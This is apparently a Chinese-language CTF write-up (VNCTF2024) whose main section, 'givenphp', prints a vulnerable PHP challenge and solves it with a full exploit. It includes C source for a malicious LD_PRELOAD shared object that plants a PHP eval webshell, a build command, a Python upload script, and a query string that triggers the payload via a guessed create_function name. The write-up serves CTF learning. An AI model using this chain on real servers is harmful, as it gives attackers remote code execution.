Checkin

根据game.js的逻辑，通关时会调用finalGame，找到函数

TrySent

SentCMS文件上传漏洞

givenphp

源码：

 <?php
highlight_file(__FILE__);
if(isset($_POST['upload'])){
    handleFileUpload($_FILES['file']);
}

if(isset($_GET['challenge'])){
    waf();
    $value=$_GET['value'];
    $key=$_GET['key'];
    $func=create_function("","putenv('$key=$value');");
    if($func==$_GET['guess']){
        $func();
        system("whoami");
    }
}
function waf()
{
    if(preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['key'])||preg_match('/\'|"|%|\(|\)|;|bash/i',$_GET['value'])){
        die("evil input!!!");
    }
}
function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }
    $fileExtension = pathinfo($file['name'], PATHINFO_EXTENSION);

    $newFileName = uniqid('uploaded_file_', true) . '.' . $fileExtension;
    $destination = $uploadDirectory . $newFileName;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

看一下差不多就知道考点了
文件上传的python脚本，create_function的返回名称，LD_PRELOAD加载恶意.so文件
先生成恶意.so文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
 
void payload() {
        system("echo \"<?php eval(\\$_POST[cmd]);?>\" > /var/www/html/shanks.php");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

gcc -shared -fPIC 1.c -o 2.so
然后写脚本上传

import requests

url = 'http://b63c9f58-7566-42fe-914f-0fcceaaf5a57.vnctf2024.manqiu.top/'
files = {'file': open('2.so', 'rb')}
response = requests.post(url, files=files,data={'upload':1})
print(response.text)
#/tmp/uploaded_file_65d01e88cbce14.10675338.so

create_function匿名函数的名字是\x00lambda_%d
所以我们传值
?challenge=1&key=LD_PRELOAD&value=/tmp/uploaded_file_65d01e88cbce14.10675338.so&guess=%00lambda_1
然后就加载了我们的恶意.so文件